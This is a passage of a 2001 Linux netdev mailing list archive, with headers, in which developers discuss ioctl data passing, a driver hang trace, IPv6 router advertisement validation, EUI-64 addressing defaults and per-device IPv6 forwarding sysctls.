"conf/all/forwarding-renamed" control all "conf/$device/forwarding-renamed" at one time. Pleaes update this for others, too ("mtu" is also not working). This is a different behavior to the IPv4 tree, too. Or was the IPv4 solution not a good one? Peter From owner-netdev@oss.sgi.com Tue May 1 23:39:21 2001 Received: (from majordomo@localhost) by oss.sgi.com (8.11.3/8.11.3) id f426dLl16173 for netdev-outgoing; Tue, 1 May 2001 23:39:21 -0700 Received: from imo-m02.mx.aol.com (imo-m02.mx.aol.com [64.12.136.5]) by oss.sgi.com (8.11.3/8.11.3) with ESMTP id f426dKF16169 for ; Tue, 1 May 2001 23:39:20 -0700 Received: from BieshaarP@netscape.net by imo-m02.mx.aol.com (mail_out_v30.10.) id 1.1b.1562c43 (16218); Wed, 2 May 2001 02:39:04 -0400 (EDT) Received: from netscape.com (aimmail02.aim.aol.com [205.188.144.194]) by air-in01.mx.aol.com (v77_r1.37) with ESMTP; Wed, 02 May 2001 02:39:03 -0400 Date: Wed, 02 May 2001 02:39:03 -0400 From: BieshaarP@netscape.net (Peter Bieshaar) To: rgooch@ras.ucalgary.ca Cc: BieshaarP@netscape.net, netdev@oss.sgi.com Subject: Re: possible suggestion for within the Linux kernel Mime-Version: 1.0 Message-ID: <652B5AAB.43CD19F0.0225591B@netscape.net> References: <17CEC8ED.094A580A.0225591B@netscape.net> <200105011632.f41GW9U12212@vindaloo.ras.ucalgary.ca> X-Mailer: Franklin Webmailer 1.0 Content-Type: text/plain; charset="ISO-8859-1" Sender: owner-netdev@oss.sgi.com Precedence: bulk I think the benefit will be very much in environments where a couple of little, probably embedded, CPU's can communicate with more intelligence and faster. I think about the car-industry and possibly droids. Both can be done with current technology but that will always be a three steps communication, with doors it should go more directly. I also received a mail from David Brownell, that there are some patents on the door mechanism, which I wasn't aware of. Hope this answers your question. Peter Bieshaar. Richard Gooch wrote: > > [Please fix your MUA to wrap your lines at 72 characters] > Peter Bieshaar writes: > > I got this email address from Alan Cox. I think I have a really > > great idea to implement into the Linux kernel. > > But can actually not find any place to talk with anybody about > > this. It is about tcp_doors, a door equivalent like Solaris > 2.51 > > is using but then built onto the tcp layer. > > > > It will have great impact into a lot of OS stuff like mem mngmnt, > > IPC, function, security, a lot of other exceptions and stack > > management to name a few. I want to know what your ideas are and how > > something like this should be set up. > > What's the benefit to having tcp_doors? > >                 Regards, > >                     Richard.... > Permanent: rgooch@atnf.csiro.au > Current:   rgooch@ras.ucalgary.ca > -- Peter Bieshaar UniSE - Unix services en diensten www.unise.nl __________________________________________________________________ Get your own FREE, personal Netscape Webmail account today at http://webmail.netscape.com/ From owner-netdev@oss.sgi.com Wed May 2 00:56:59 2001 Received: (from majordomo@localhost) by oss.sgi.com (8.11.3/8.11.3) id f427uxL19169 for netdev-outgoing; Wed, 2 May 2001 00:56:59 -0700 Received: from looping.sycomore.fr ([195.6.125.97]) by oss.sgi.com (8.11.3/8.11.3) with ESMTP id f427usF19160 for ; Wed, 2 May 2001 00:56:55 -0700 Received: from sycomore.fr (moby.sycomore [172.30.5.141]) by looping.sycomore.fr (8.9.3/8.9.3) with ESMTP id JAA03579 for ; Wed, 2 May 2001 09:56:48 +0200 Received: from NEC-6550-A301 (IDENT:seb@nec-6550-a301.sycomore [172.30.3.103]) by sycomore.fr (8.9.3/8.8.7) with SMTP id JAA03274 for ; Wed, 2 May 2001 09:51:51 +0200 Date: Wed, 2 May 2001 09:54:32 +0200 From: sébastien person To: netdev@oss.sgi.com Subject: where can I find the IP address ? Message-Id: <20010502095432.379f3166.sebastien.person@sycomore.fr> X-Mailer: Sylpheed version 0.4.64 (GTK+ 1.2.6; i586-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Sender: owner-netdev@oss.sgi.com Precedence: bulk >>Début du message transféré : >> >>Date: Mon, 30 Apr 2001 23:34:38 +0100 (BST) >>From: Alan Cox >>To: sebastien.person@sycomore.fr (sébastien person) >>Subject: Re: Fw: where can I find the IP address ? >>I'm dealing with a driver wich need the IP address for specifics using. >>I've read in the linux device driver (o'reilly) that I can use the field >>pa_addr in the struct device. but it doesn't exist on my computer. >>so I don't understand why ? Is anybody could tell me where finding the >>IP address in the kernel ? >>thanks a lot. >>nb : my kernel version is 2.2.14, as it is my first driver I am starting >> on the current kernel I've got but I'll also need informations >> for kernel 2.4.X >A driver may not even have an IP address and it may change dynamically. One >side effect of this (and support for multiple addresses per node) is that >the addresses are now a chain attached to the device struct. You might find >netdev@oss.sgi.com a much better place to ask >Alan I hope that someone could give me some help ... If my question isn't as clear, don't hesitate to contact me. could I be CC because I think I'm not on this list, thanks sebastien.person@sycomore.fr From owner-netdev@oss.sgi.com Wed May 2 01:14:33 2001 Received: (from majordomo@localhost) by oss.sgi.com (8.11.3/8.11.3) id f428EXK20193 for netdev-outgoing; Wed, 2 May 2001 01:14:33 -0700 Received: from looping.sycomore.fr ([195.6.125.97]) by oss.sgi.com (8.11.3/8.11.3) with ESMTP id f428EQF20186 for ; Wed, 2 May 2001 01:14:27 -0700 Received: from sycomore.fr (moby.sycomore [172.30.5.141]) by looping.sycomore.fr (8.9.3/8.9.3) with ESMTP id KAA03760 for ; Wed, 2 May 2001 10:14:20 +0200 Received: from NEC-6550-A301 (IDENT:seb@nec-6550-a301.sycomore [172.30.3.103]) by sycomore.fr (8.9.3/8.8.7) with SMTP id KAA04018 for ; Wed, 2 May 2001 10:09:24 +0200 Date: Wed, 2 May 2001 10:12:05 +0200 From: sébastien person To: liste dev network device Subject: ioctl call for network device Message-Id: <20010502101205.421a863f.sebastien.person@sycomore.fr> X-Mailer: Sylpheed version 0.4.64 (GTK+ 1.2.6; i586-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-netdev@oss.sgi.com Precedence: bulk Hi, I've succeed to do an ioctl call and recept it in my module ioctl(file_descriptor, cmd, struct ifreq) but I believe that I'm oblige to use the struct ifreq and I can't pass any other arguments because an user can't acces kernel space so the ioctl call recopy data in the kernel space (this is what I've understood, maybe I'm wrong ...). My problem is that I need to pass some int arguments (the best way was an int* ) but the struct ifreq doesn't permit me it, so could I add other arguments as we can do in an normal ioctl call ? I hope this is the wrong place for this question. sebastien person could I be CC because I'm not sure to be on the list and I don't know how subscribe sebastien.person@sycomore.fr From owner-netdev@oss.sgi.com Wed May 2 01:47:39 2001 Received: (from majordomo@localhost) by oss.sgi.com (8.11.3/8.11.3) id f428lde21965 for netdev-outgoing; Wed, 2 May 2001 01:47:39 -0700 Received: from arnhem.blackstar.nl (IDENT:root@d122251.upc-d.chello.nl [213.46.122.251]) by oss.sgi.com (8.11.3/8.11.3) with ESMTP id f428lWF21952 for ; Wed, 2 May 2001 01:47:33 -0700 Received: from laptop.blackstar.nl (IDENT:root@laptop.blackstar.nl [192.168.3.2]) by arnhem.blackstar.nl (8.9.3/8.9.3) with ESMTP id KAA15647 for ; Wed, 2 May 2001 10:47:42 +0200 Received: from localhost (bvermeul@localhost) by laptop.blackstar.nl (8.9.3/8.9.3) with ESMTP id KAA01504 for ; Wed, 2 May 2001 10:47:30 +0200 X-Authentication-Warning: laptop.blackstar.nl: bvermeul owned process doing -bs Date: Wed, 2 May 2001 10:47:30 +0200 (CEST) From: Bas Vermeulen To: Subject: Q: Using dev_queue_xmit to insert packets to a driver Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Content-ID: Sender: owner-netdev@oss.sgi.com Precedence: bulk Hi, I'm writing a driver for a couple of PCMCIA Wireless ethernet drivers. These cards have some quirks, one of them being that they are configured with ethernet packages sent to the card. In order to do that, I use dev_queue_xmit to insert packages into the cards queue. This all works wonderfully well, except when I either bring the card down and up, or when I use cardctl to change the scheme. When I do that, I only have to wait a minute to have my box hang. I've made a stack trace with SysRQ-P, and that points to qdisc_restart: Apr 25 19:26:21 laptop kernel: EIP: 0010:[] CPU: 0 EFLAGS: 00000216 Using defaults from ksymoops -t elf32-i386 Apr 25 19:26:21 laptop kernel: EAX: 00000020 EBX: 00000107 ECX: 00007fa0 EDX: 00000107 Apr 25 19:26:21 laptop kernel: ESI: 00000107 EDI: 00007f96 EBP: c4528000 DS: 0018 ES: 0018 Apr 25 19:26:21 laptop kernel: CR0: 8005003b CR2: 40015000 CR3: 03d63000 CR4: 00000690 Apr 25 19:26:21 laptop kernel: Call Trace: [] [] [] [] [] [] [] [] [] Warning (Oops_read): Code line not seen, dumping what data is available >>EIP; 0000000ccbeaec67 <===== Trace; c011a217 Trace; c011a417 Trace; c022e60e Trace; c92287f7 <_end+8eb468b/c834e94> Trace; c01171ae Trace; c011141c Trace; c02287f7 Trace; c01171ae Trace; c0106ba5 I've been able to narrow it down to my use of dev_queue_xmit in my device event handler. Anyways, if any of you can give me hints/tips/DON'T DO THAT's/do it this ways, I'd be very gratefull. The device driver can be found at http://www.xs4all.nl/~bvermeul/swallow Regards, and thanks in advance, Bas Vermeulen From owner-netdev@oss.sgi.com Wed May 2 04:18:28 2001 Received: (from majordomo@localhost) by oss.sgi.com (8.11.3/8.11.3) id f42BIS027577 for netdev-outgoing; Wed, 2 May 2001 04:18:28 -0700 Received: from netcore.fi (netcore.fi [193.94.160.1]) by oss.sgi.com (8.11.3/8.11.3) with ESMTP id f42BIOF27571 for ; Wed, 2 May 2001 04:18:24 -0700 Received: from localhost (pekkas@localhost) by netcore.fi (8.11.1/8.11.1) with ESMTP id f42BIL628839; Wed, 2 May 2001 14:18:22 +0300 Date: Wed, 2 May 2001 14:18:21 +0300 (EEST) From: Pekka Savola To: cc: Subject: IPv6: Incoming RA source-address may be non- link-local Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-netdev@oss.sgi.com Precedence: bulk Hi, In net/ipv6/ndisc, ndisc_router_discovery function, where IPv6 router advertisements are being processed, there is no check that RA is coming from link-local address. As far as I know, all implementions do use link-local addresses for sending advertisements. RFC2461, 4.2 says: --- 4.2. Router Advertisement Message Format [...] IP Fields: Source Address MUST be the link-local address assigned to the interface from which this message is sent. [...] --- KAME does this: --- if (!IN6_IS_ADDR_LINKLOCAL(&saddr6)) { log(LOG_ERR, "nd6_ra_input: src %s is not link-local\n", ip6_sprintf(&saddr6)); goto freeit; } --- As hop limit is verified to be 255, this could only be misused by on-link hosts. Note that there is in net/ipv6/route.c: --- /* IPv6 strictly inhibits using not link-local addresses as nexthop address. Otherwise, router will not able to send redirects. It is very good, but in some (rare!) curcumstances (SIT, PtP, NBMA NOARP links) it is handy to allow some exceptions. --ANK */ --- I wonder what these circumstances are, exactly. Sit tunnels usually do use global addressing, and next hop is non link-local (on KAME too), but that doesn't mean those wouldn't have link-local address at all. What do you think? -- Pekka Savola "Tell me of difficulties surmounted, Netcore Oy not those you stumble over and fall" Systems. Networks. Security. -- Robert Jordan: A Crown of Swords From owner-netdev@oss.sgi.com Wed May 2 04:21:52 2001 Received: (from majordomo@localhost) by oss.sgi.com (8.11.3/8.11.3) id f42BLqn28006 for netdev-outgoing; Wed, 2 May 2001 04:21:52 -0700 Received: from looping.sycomore.fr ([195.6.125.97]) by oss.sgi.com (8.11.3/8.11.3) with ESMTP id f42BLkF27994 for ; Wed, 2 May 2001 04:21:47 -0700 Received: from sycomore.fr (moby.sycomore [172.30.5.141]) by looping.sycomore.fr (8.9.3/8.9.3) with ESMTP id NAA05842; Wed, 2 May 2001 13:21:36 +0200 Received: from NEC-6550-A301 (IDENT:seb@nec-6550-a301.sycomore [172.30.3.103]) by sycomore.fr (8.9.3/8.8.7) with SMTP id NAA12819; Wed, 2 May 2001 13:16:38 +0200 Date: Wed, 2 May 2001 13:19:20 +0200 From: sébastien person To: Ofer Fryman Cc: liste noyau linux , liste dev network device Subject: Re: ioctl call for network device Message-Id: <20010502131920.478e50be.sebastien.person@sycomore.fr> In-Reply-To: References: X-Mailer: Sylpheed version 0.4.64 (GTK+ 1.2.6; i586-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Sender: owner-netdev@oss.sgi.com Precedence: bulk Le Wed, 2 May 2001 13:55:34 +0200 Ofer Fryman à écrit : > The definition of ioctl is "extern int __ioctl __P ((int __fd, unsigned long > int __request, ...));" on Linux 2.0.x, and I believe it is also on any other > Linux version. yes but I use an network device specific ioctl call wich perform interface-specific ioctl commands. the prototype of the ioctl reception in the module is (as described in rubini book, O reilly, linux device drivers): int (*do_ioctl) (struct device *dev, struct ifreq *ifr, int cmd); so can I pass over the limitations of the definition ? I do ioctl that use private ioctl flags (e.g. SIOCDEVPRIVATE) > So If you can pass what ever pointer or number you want instead of struct > ifreq, If you use Linux under 2.2.x you will need to use copy_fromfs to get > the buffer info, otherwise you can access it directly from the kernel mode > with the restriction of interrupt handlers and bottom-halfs. > > -----Original Message----- > From: sebastien.person@sycomore.fr [mailto:sebastien.person@sycomore.fr] > Sent: Wednesday, May 02, 2001 10:08 AM > To: liste noyau linux > Subject: ioctl call for network device > > > Hi, > > I've succeed to do an ioctl call and recept it in my module > > ioctl(file_descriptor, cmd, struct ifreq) > > but I believe that I'm oblige to use the struct ifreq and I can't > pass any other arguments because an user can't acces kernel space > so the ioctl call recopy data in the kernel space (this is what I've > understood, maybe I'm wrong ...). > > My problem is that I need to pass some int arguments (the best way was an > int* ) but the struct ifreq doesn't permit me it, so could I add other > arguments as we can do in an normal ioctl call ? > > I hope this is the wrong place for this question. > > sebastien person > - > To unsubscribe from this list: send the line "unsubscribe linux-kernel" in > the body of a message to majordomo@vger.kernel.org > More majordomo info at http://vger.kernel.org/majordomo-info.html > Please read the FAQ at http://www.tux.org/lkml/ From owner-netdev@oss.sgi.com Wed May 2 04:25:41 2001 Received: (from majordomo@localhost) by oss.sgi.com (8.11.3/8.11.3) id f42BPfb28519 for netdev-outgoing; Wed, 2 May 2001 04:25:41 -0700 Received: from coconut.itojun.org (coconut.itojun.org [210.160.95.97]) by oss.sgi.com (8.11.3/8.11.3) with ESMTP id f42BPZF28515 for ; Wed, 2 May 2001 04:25:35 -0700 Received: from itojun.org (localhost [127.0.0.1]) by coconut.itojun.org (Postfix) with ESMTP id 379724B0B; Wed, 2 May 2001 20:25:30 +0900 (JST) To: usagi-users@linux-ipv6.org Cc: netdev@oss.sgi.com In-reply-to: pekkas's message of Wed, 02 May 2001 14:18:21 +0300. X-Template-Reply-To: itojun@itojun.org X-Template-Return-Receipt-To: itojun@itojun.org X-PGP-Fingerprint: F8 24 B4 2C 8C 98 57 FD 90 5F B4 60 79 54 16 E2 Subject: Re: (usagi-users 00462) IPv6: Incoming RA source-address may be non- link-local From: itojun@iijlab.net Date: Wed, 02 May 2001 20:25:30 +0900 Message-ID: <13718.988802730@itojun.org> Sender: owner-netdev@oss.sgi.com Precedence: bulk >Note that there is in net/ipv6/route.c: >--- > /* IPv6 strictly inhibits using not link-local > addresses as nexthop address. > Otherwise, router will not able to send redirects. > It is very good, but in some (rare!) curcumstances > (SIT, PtP, NBMA NOARP links) it is handy to allow > some exceptions. --ANK > */ >--- >I wonder what these circumstances are, exactly. the above comment is correct. nexthop values needs to be linklocal adderss, otherwise icmp6 redirect will not work right. (the icmp6 redirect input logic will fail to detect if the nexthop is legal one or not) >Sit tunnels usually do >use global addressing, and next hop is non link-local (on KAME too), but >that doesn't mean those wouldn't have link-local address at all. no, we (KAME) do not recommend using global address on tunnels. we do not forbid it, though. if you want to configure a route to tunnel interface, use: # route add -inet6 3ffe:foo:baa:: -prefixlen 48 ::1 # route change -inet6 3ffe:foo:baa:: -prefixlen 48 ::1 -ifp gif0 this way you don't need to talk about global nexthops. itojun From owner-netdev@oss.sgi.com Wed May 2 04:28:00 2001 Received: (from majordomo@localhost) by oss.sgi.com (8.11.3/8.11.3) id f42BS0U28917 for netdev-outgoing; Wed, 2 May 2001 04:28:00 -0700 Received: from coconut.itojun.org (coconut.itojun.org [210.160.95.97]) by oss.sgi.com (8.11.3/8.11.3) with ESMTP id f42BRwF28908 for ; Wed, 2 May 2001 04:27:58 -0700 Received: from itojun.org (localhost [127.0.0.1]) by coconut.itojun.org (Postfix) with ESMTP id 72A2C4B0B; Wed, 2 May 2001 20:27:57 +0900 (JST) To: usagi-users@linux-ipv6.org Cc: netdev@oss.sgi.com In-reply-to: itojun's message of Wed, 02 May 2001 20:25:30 +0900. <13718.988802730@itojun.org> X-Template-Reply-To: itojun@itojun.org X-Template-Return-Receipt-To: itojun@itojun.org X-PGP-Fingerprint: F8 24 B4 2C 8C 98 57 FD 90 5F B4 60 79 54 16 E2 Subject: Re: (usagi-users 00463) Re: IPv6: Incoming RA source-address may be non- link-local From: itojun@iijlab.net Date: Wed, 02 May 2001 20:27:57 +0900 Message-ID: <13744.988802877@itojun.org> Sender: owner-netdev@oss.sgi.com Precedence: bulk > if you want to configure a route to tunnel interface, use: > # route add -inet6 3ffe:foo:baa:: -prefixlen 48 ::1 > # route change -inet6 3ffe:foo:baa:: -prefixlen 48 ::1 -ifp gif0 > this way you don't need to talk about global nexthops. err, sorry the above example does not really describe the situation. sorry. itojun From owner-netdev@oss.sgi.com Wed May 2 05:16:27 2001 Received: (from majordomo@localhost) by oss.sgi.com (8.11.3/8.11.3) id f42CGRR31329 for netdev-outgoing; Wed, 2 May 2001 05:16:27 -0700 Received: from netcore.fi (netcore.fi [193.94.160.1]) by oss.sgi.com (8.11.3/8.11.3) with ESMTP id f42CGMF31326 for ; Wed, 2 May 2001 05:16:22 -0700 Received: from localhost (pekkas@localhost) by netcore.fi (8.11.1/8.11.1) with ESMTP id f42CGG429139; Wed, 2 May 2001 15:16:16 +0300 Date: Wed, 2 May 2001 15:16:16 +0300 (EEST) From: Pekka Savola To: cc: Subject: IPv6: Neighbor discovery diagnostics utility for Linux? Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-netdev@oss.sgi.com Precedence: bulk Hi, Is there an utility to diagnose/control neighbour discovery, list all neighbors, routers etc. for Linux? I haven't been able to find one. Please provide pointers if you have. For example, KAME ndp(8) (see: http://www.FreeBSD.org/cgi/man.cgi?query=ndp&sektion=8) is very nice. (ndp is like arp(8) transformed into IPv6) A few examples: # ndp -a [ndp entries] Neighbor Linklayer Address Netif Expire St Flgs Prbs 3ffe:2620:1:ff88::1 (incomplete) gif1 expired S R 3ffe:2620:10:1::1 0:90:27:bd:62:c6 fxp0 permanent R 3ffe:2620:10:1::82e9:1311 0:50:4:3c:98:a9 fxp0 expired S 3ffe:2620:10:1:250:daff:fed3:5a 0:50:da:d3:5:a6 fxp0 expired S 3ffe:2620:10:1:290:27ff:fe4f:fd 0:90:27:4f:fd:3a fxp0 expired S fe80::250:4ff:fe3c:98a9%fxp0 0:50:4:3c:98:a9 fxp0 expired S fe80::290:27ff:fe4f:fd3a%fxp0 0:90:27:4f:fd:3a fxp0 10s D fe80::290:27ff:febd:62c6%fxp0 0:90:27:bd:62:c6 fxp0 permanent R # ndp -p [prefixes] 3ffe:2620:1:ff88::/126 if=gif1 advertise: flags=LA vltime=infinity, pltime=infinity, expire=Never, origin=RR 3ffe:2620:10:1::/64 if=fxp0 advertise: flags=LA vltime=infinity, pltime=infinity, expire=Never, origin=RR This kind of tool could prove really useful sometimes, especially when debugging different kinds of IPv6 setups. -- Pekka Savola "Tell me of difficulties surmounted, Netcore Oy not those you stumble over and fall" Systems. Networks. Security. -- Robert Jordan: A Crown of Swords From owner-netdev@oss.sgi.com Wed May 2 05:22:25 2001 Received: (from majordomo@localhost) by oss.sgi.com (8.11.3/8.11.3) id f42CMPb31892 for netdev-outgoing; Wed, 2 May 2001 05:22:25 -0700 Received: from netcore.fi (netcore.fi [193.94.160.1]) by oss.sgi.com (8.11.3/8.11.3) with ESMTP id f42CMKF31884 for ; Wed, 2 May 2001 05:22:21 -0700 Received: from localhost (pekkas@localhost) by netcore.fi (8.11.1/8.11.1) with ESMTP id f42CMJm29175 for ; Wed, 2 May 2001 15:22:19 +0300 Date: Wed, 2 May 2001 15:22:19 +0300 (EEST) From: Pekka Savola To: Subject: Re: [benc@hawaga.org.uk: Linux "enable EUI-64 token format"] In-Reply-To: <20010424181344.C805@mea-ext.zmailer.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-netdev@oss.sgi.com Precedence: bulk On Tue, 24 Apr 2001, Matti Aarnio wrote: > This issue seems to pop up every now and then. > Would it not be usefull to switch from "explitely enable this" to > "disable this, unless you want to use this obsolete form" > > Or for that matter, to have e.g. interface specific sysctl or > some such to control the behaviour -- if the old form is desirable > at all.. > > USAGI might have done something along these lines as well. I wholeheartedly agree. IPv6 is only used by the developers, hackers or early implementors at this point. All of them have moved away from the obsolete addressing long time ago. There is no reason to drag along old cruft much longer. It would be different if the change took place when there was already 5M Linux IPv6 users.. but there aren't. I also suggest that: 1) EUI-64 will be the default 2) Provider-based is an option, with a heavy warning (or removed entirely, if feeling radical) 2) should IMO be completely gone in 2.5/2.6 at the latest. -- Pekka Savola "Tell me of difficulties surmounted, Netcore Oy not those you stumble over and fall" Systems. Networks. Security. -- Robert Jordan: A Crown of Swords From owner-netdev@oss.sgi.com Wed May 2 05:24:46 2001 Received: (from majordomo@localhost) by oss.sgi.com (8.11.3/8.11.3) id f42COkK32268 for netdev-outgoing; Wed, 2 May 2001 05:24:46 -0700 Received: from chaos.analogic.com (chaos.analogic.com [204.178.40.224]) by oss.sgi.com (8.11.3/8.11.3) with ESMTP id f42COhF32258 for ; Wed, 2 May 2001 05:24:43 -0700 Received: (from root@localhost) by chaos.analogic.com (8.11.0.Beta3(chaos.analogic.com)/8.11.0.Beta3) id f42COb015168; Wed, 2 May 2001 08:24:37 -0400 Date: Wed, 2 May 2001 08:24:37 -0400 (EDT) From: "Richard B. Johnson" Reply-To: root@chaos.analogic.com To: =?ISO-8859-1?Q?s=E9bastien?= person cc: Ofer Fryman , liste noyau linux , liste dev network device Subject: Re: ioctl call for network device In-Reply-To: <20010502131920.478e50be.sebastien.person@sycomore.fr> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from QUOTED-PRINTABLE to 8bit by oss.sgi.com id f42COiF32262 Sender: owner-netdev@oss.sgi.com Precedence: bulk On Wed, 2 May 2001, [ISO-8859-1] sébastien person wrote: > Le Wed, 2 May 2001 13:55:34 +0200 > Ofer Fryman à écrit : > > > The definition of ioctl is "extern int __ioctl __P ((int __fd, unsigned long > > int __request, ...));" on Linux 2.0.x, and I believe it is also on any other > > Linux version. > > yes but I use an network device specific ioctl call wich perform interface-specific > ioctl commands. > the prototype of the ioctl reception in the module is (as described in rubini book, > O reilly, linux device drivers): > > int (*do_ioctl) (struct device *dev, struct ifreq *ifr, int cmd); > > so can I pass over the limitations of the definition ? > I do ioctl that use private ioctl flags (e.g. SIOCDEVPRIVATE) > struct ifreq has a member called ifr_data. It is a pointer. You can put a pointer to any of your data, including the most complex structure you might envision, in that area. This allows you to pass anything to and from your module. This pointer can be properly dereferenced in kernel space but you should use copy_to/from_user and friends so a user-space coding bug won't panic the kernel. Also, the value of the commands that you want to use for the ioctl() can (probably should), start at SIOCDEVPRIVATE. In other words, given the commands DEV_START, DEV_STOP, DEV_DESTROY, they should be defined as: #define DEV_START SIOCDEVPRIVATE #define DEV_STOP SIOCDEVPRIVATE + 1 #define DEV_DESTROY SIOCDEVPRIVATE + 2 Given a user-space aggregate of type FOO, to be accessed by the module, it would be coded as: FOO foo; struct ifreq ifr; strcpy(ifr.ifr_name, "eth0"); ifr.ifr_data = (char *) &foo; ioctl(sock, DEV_DESTROY, &ifr); So, as you can see, there are no limitations of the definition. In fact, it's a really well designed interface. Cheers, Dick Johnson Penguin : Linux version 2.4.1 on an i686 machine (799.53 BogoMips). "Memory is like gasoline. You use it up when you are running. Of course you get it all back when you reboot..."; Actual explanation obtained from the Micro$oft help desk. From owner-netdev@oss.sgi.com Wed May 2 06:04:23 2001 Received: (from majordomo@localhost) by oss.sgi.com (8.11.3/8.11.3) id f42D4N701800 for netdev-outgoing; Wed, 2 May 2001 06:04:23 -0700 Received: from yue.hongo.wide.ad.jp (postfix@yue.hongo.wide.ad.jp [203.178.140.186]) by oss.sgi.com (8.11.3/8.11.3) with ESMTP id f42D4LF01797 for ; Wed, 2 May 2001 06:04:21 -0700 Received: from localhost (localhost [127.0.0.1]) by yue.hongo.wide.ad.jp (Postfix) with ESMTP id A5AEEB8 for ; Wed, 2 May 2001 22:04:03 +0900 (JST) To: netdev@oss.sgi.com Subject: Re: [benc@hawaga.org.uk: Linux "enable EUI-64 token format"] In-Reply-To: References: <20010424181344.C805@mea-ext.zmailer.org> X-Mailer: Mew version 1.94.2 on Emacs 20.7 / Mule 4.0 (HANANOEN) X-URL: http://www.hongo.wide.ad.jp/%7Eyoshfuji/ X-Fingerprint: F7 31 65 99 5E B2 BB A7 15 15 13 23 18 06 A9 6F 57 00 6B 25 X-Pgp5-Key-Url: http://cerberus.nemoto.ecei.tohoku.ac.jp/%7Eyoshfuji/yoshfuji@ecei.tohoku.ac.jp.asc Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-Id: <20010502220403R.yoshfuji@wide.ad.jp> Date: Wed, 02 May 2001 22:04:03 +0900 From: YOSHIFUJI Hideaki / =?iso-2022-jp?B?GyRCNUhGIzFRTEAbKEI=?= X-Dispatcher: imput version 20000414(IM141) Lines: 14 Sender: owner-netdev@oss.sgi.com Precedence: bulk In article (at Wed, 2 May 2001 15:22:19 +0300 (EEST)), Pekka Savola says: > I also suggest that: > 1) EUI-64 will be the default > 2) Provider-based is an option, with a heavy warning (or removed > entirely, if feeling radical) I strongly suggest CONFIG_IPV6_EUI64 and CONFIG_IPV6_NO_PB should be enabled (Y) by default, and I suggest that provider-based address support should be removed. -- yoshfuji From owner-netdev@oss.sgi.com Wed May 2 06:45:49 2001 Received: (from majordomo@localhost) by oss.sgi.com (8.11.3/8.11.3) id f42DjnZ03794 for netdev-outgoing; Wed, 2 May 2001 06:45:49 -0700 Received: from netcore.fi (netcore.fi [193.94.160.1]) by oss.sgi.com (8.11.3/8.11.3) with ESMTP id f42DjjF03782 for ; Wed, 2 May 2001 06:45:45 -0700 Received: from localhost (pekkas@localhost) by netcore.fi (8.11.1/8.11.1) with ESMTP id f42DjPc29548; Wed, 2 May 2001 16:45:25 +0300 Date: Wed, 2 May 2001 16:45:25 +0300 (EEST) From: Pekka Savola To: cc: , Peter Bieringer , Subject: Re: ipv6 global forward overrides dev-specific forwarding In-Reply-To: <5.1.0.14.0.20010502075031.00b0a548@mail.bieringer.de> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-netdev@oss.sgi.com Precedence: bulk On Wed, 2 May 2001, Peter Bieringer wrote: > But is it possible to rename/replace the switches to avoid confusion with > the existing (and still longer living IPv4 switches). > > Suggestions: > 1) Global (and one and only) IPv6 forwarding control > - /proc/sys/net/ipv6/conf/all/forwarding > + /proc/sys/net/ipv6/forwarding > > Avoids also headache about why the same named switch in the "conf/all" > directory has a different behavior than the "conf/$device" directory. Am I correct in assuming that _some_ configuration options in /proc/sys/net/ipv6/conf/all/ (actually almost all except forwarding), are not special cases but control how ALL devices react (ie. IPv4 way)? Ie. is forwarding the only special case here? If so, something would probably have to be done about it. Removing options, or defining them, could cause pain for some people as the interfaces would change (update all scripts etc..); if that is necessary, now it would cause small amount of hassle. > 2) Perhaps renaming the "conf/$device/forwarding" to a better name. Looks > like it was taken from BSD/KAME, but it can be misunderstood by IPv4 to > IPv6 migrators... > > -- 8<-- (itojun on usagi-users) > in KAME stack, the only legal combination is: > accept_rtadv=0, forwarding=1 router > accept_rtadv=1, forwarding=0 autoconfigured host > accept_rtadv=0, forwarding=0 manually configured host > > > 3) Let "conf/all/forwarding-renamed" control all > "conf/$device/forwarding-renamed" at one time. Pleaes update this for > others, too ("mtu" is also not working). > This is a different behavior to the IPv4 tree, too. > Or was the IPv4 solution not a good one? These two issues are mostly caused by missing documentation. If these aren't either changed (so that people will realize the difference) or documented, these questions _will_ pop up more and more often. That's not in anyone's interests, I hope. I'm hoping to be able to decipher the most important settings and create a patch to ip-sysctl.txt for it, but as noticed this is a tricky business. [ from earlier mail; by Alexey ] >> Per-device enabling/disabling forwarding in IPv6 simply does not exist. >> This switch is global only: either the whole node is router or it is not >> a router. Per-device "forwarding" switch controls only >> autoconfiguration/ndisc aspects. Isn't being able to set ndisc/ra settings on device-specific manner a bit contradictory to "either whole node is router or it is not"? If a node is a router, should it be a router on all interfaces it has (thus modifying also ndisc/ra)? Sure this adds some flexibility (but also makes it possible for you to muck up badly), but may also create complications. Consider a system where SERVER wants to have a shortcut into LAN1 (but not forward traffic from it): LAN0 --- eth0 SERVER sit1 - - - ROUTER2 ----> Internet eth1 | | | LAN1 --------------^ (this is a scenario where server acts as a router for LAN0, and uses LAN1 to e.g. mount NFS shares off a server there ("nfs interface")) If LAN0 is the primary network you want to interconnect, in SERVER you set 1) all/forwarding to 1 (naturally) 2) eth0/forwaring to 1 (at least) Now comes the difficult part. If router is a router is a router, and you _don't_ want to forward LAN1 through eth1 <-> sit1 or eth1 <-> eth0 under any circumstance, you must have eth1/forwarding at 0 (or similar other toggles) so the interface doesn't answer to router solicitations etc. In addition, you probably have to add a netfilter rule to block the actual forwarding (ipv4 sense) from happening. Also, if you set sit1/forwarding to 1, ROUTER2 will see SERVER as having IsRouter flag on. I guess this is expected. My point being: if all/forwarding = 1, then */forwarding should probably also default to = 1, with the above analogy. Else the router will try to autoconfigure using RA all of its links (which a good router should not 